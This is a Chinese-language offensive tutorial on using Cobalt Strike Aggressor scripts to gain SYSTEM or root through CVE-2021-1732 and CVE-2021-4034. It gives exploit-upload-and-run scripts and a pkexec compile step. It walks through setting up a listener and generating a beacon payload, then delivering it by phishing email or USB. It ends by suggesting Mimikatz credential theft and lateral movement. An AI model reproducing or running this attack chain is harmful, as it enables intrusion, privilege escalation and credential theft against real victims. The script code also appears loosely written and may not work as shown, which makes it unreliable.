“Cobalt Strike Aggressor脚本提权全解析:从监听器到SYSTEM/root的渗透实战指南“
目录
1. Aggressor脚本是什么?如何提权?
2. 这种脚本提权针对什么漏洞?
3. 如何发现可用于CS提权的漏洞?
4. Windows和Linux利用Aggressor脚本提权的全过程
Windows提权:CVE-2021-1732 (Win32k提权)
Linux提权:CVE-2021-4034 (pkexec提权)
5. 提权能达到的权限类型
6. 从CS新建监听器到提权的详细方案
目标:Windows 10提权至SYSTEM
工具:CS + Aggressor脚本 + CVE-2021-1732
1. Aggressor脚本是什么?如何提权?
Aggressor脚本简介 Aggressor脚本是Cobalt Strike内置的一种脚本语言(基于Sleep),用于自定义和自动化CS的功能。它运行在Beacon(CS的后门代理)上,可以调用系统命令、加载模块、执行payload或与目标交互。提权是其常见应用,通过脚本调用漏洞利用代码或CS内置功能(如elevate
模块)提升权限。
提权原理
-
信息收集:脚本枚举目标系统信息(如OS版本、补丁状态、权限)。
-
漏洞利用:根据信息匹配已知漏洞,执行提权payload。
-
权限提升:从低权限(如普通用户)提升至高权限(如SYSTEM或root)。
2. 这种脚本提权针对什么漏洞?
Aggressor脚本本身不局限于特定漏洞,而是通过灵活性适配各种提权场景。常见的漏洞类型包括:
-
Windows:
-
内核漏洞(如CVE-2021-1732、CVE-2020-0796 SMBGhost)。
-
权限配置错误(如SeImpersonatePrivilege滥用)。
-
-
Linux:
-
内核漏洞(如CVE-2021-4034 pkexec、Dirty COW)。
-
SUID/SUDO误配置。
-
具体漏洞取决于目标系统的版本和补丁状态。
3. 如何发现可用于CS提权的漏洞?
发现流程:
-
系统枚举:用脚本运行
systeminfo
(Windows)或uname -a
(Linux)收集版本信息。 -
权限检查:用
whoami
或id
确认当前权限。 -
漏洞扫描:
-
调用外部工具(如PowerSploit或
linux-exploit-suggester
)。 -
检查已知漏洞列表(如Exploit-DB)。
-
-
自动化验证:脚本对比系统信息与漏洞条件,确认可利用性。
4. Windows和Linux利用Aggressor脚本提权的全过程
Windows提权:CVE-2021-1732 (Win32k提权)
环境:
-
系统:Windows 10 20H2。
-
当前权限:普通用户。
-
CS版本:最新。
步骤:
-
脚本 - 信息收集:
sub gather_info {println("[*] Gathering system info...");$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0; }
-
上传exploit:
-
准备CVE-2021-1732的EXE文件。
sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded"); }
-
-
执行提权:
sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(2000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");} }
-
完整脚本:
on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);} }
-
执行:加载脚本,Beacon上线后自动提权。
Linux提权:CVE-2021-4034 (pkexec提权)
环境:
-
系统:Ubuntu 20.04。
-
当前权限:普通用户。
步骤:
-
脚本 - 信息收集:
sub gather_info {$uname = bshell($1, "uname -a");if ($uname =~ /Ubuntu 20.04/) {println("[+] Vulnerable to CVE-2021-4034");return 1;}return 0; }
-
上传并编译exploit:
sub upload_exploit {bupload($1, "/tmp/pkexec.c");bshell($1, "gcc /tmp/pkexec.c -o /tmp/pkexec");println("[+] Exploit compiled"); }
-
执行提权:
sub run_elevation {bshell($1, "/tmp/pkexec");sleep(2000);$check = bshell($1, "id");if ($check =~ /root/) {println("[+] Elevated to root");} }
-
完整脚本:
on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);} }
-
执行:加载脚本,提权至root。
5. 提权能达到的权限类型
-
Windows:最高
NT AUTHORITY\SYSTEM
,完全控制系统。 -
Linux:最高
root
,拥有所有权限。 -
限制:取决于初始权限和漏洞利用成功率。
6. 从CS新建监听器到提权的详细方案
目标:Windows 10提权至SYSTEM
工具:CS + Aggressor脚本 + CVE-2021-1732
完整方案:
-
启动CS Team Server:
-
在攻击机运行:
./teamserver <攻击机IP> <密码> [profile]
-
例如:
./teamserver 192.168.1.100 password123
。
-
-
创建监听器:
-
打开CS客户端,连接Team Server。
-
导航至
Cobalt Strike -> Listeners -> Add
:-
Name:
HTTP_Listener
-
Payload:
windows/beacon_http
-
Host:
192.168.1.100
-
Port:
80
-
保存并启动。
-
-
-
生成Payload:
-
Attacks -> Packages -> Windows Executable
:-
选择
HTTP_Listener
。 -
输出格式:EXE。
-
生成
payload.exe
并下载。
-
-
-
投递Payload:
-
将
payload.exe
通过钓鱼邮件、USB等方式投递至目标。 -
目标执行后,Beacon上线。
-
-
确认Beacon上线:
-
在CS客户端查看Beacon列表,确认目标IP和用户。
-
-
编写Aggressor脚本:
sub check_priv {$whoami = bshell($1, "whoami");println("[*] Current user: $whoami");if ($whoami =~ /system/) {println("[+] Already SYSTEM");exit;} } sub gather_info {$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0; } sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded"); } sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(3000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");} else {println("[-] Elevation failed");} } on beacon_initial {check_priv($1);if (gather_info($1)) {upload_exploit($1);run_elevation($1);} }
-
加载脚本:
-
View -> Script Manager -> Load
,选择上述脚本。
-
-
提权执行:
-
Beacon上线后,脚本自动运行,提权至SYSTEM。
-
-
验证与后续:
-
输入
shell whoami
,确认nt authority\system
。 -
可加载Mimikatz提取凭据或进行横向移动。
-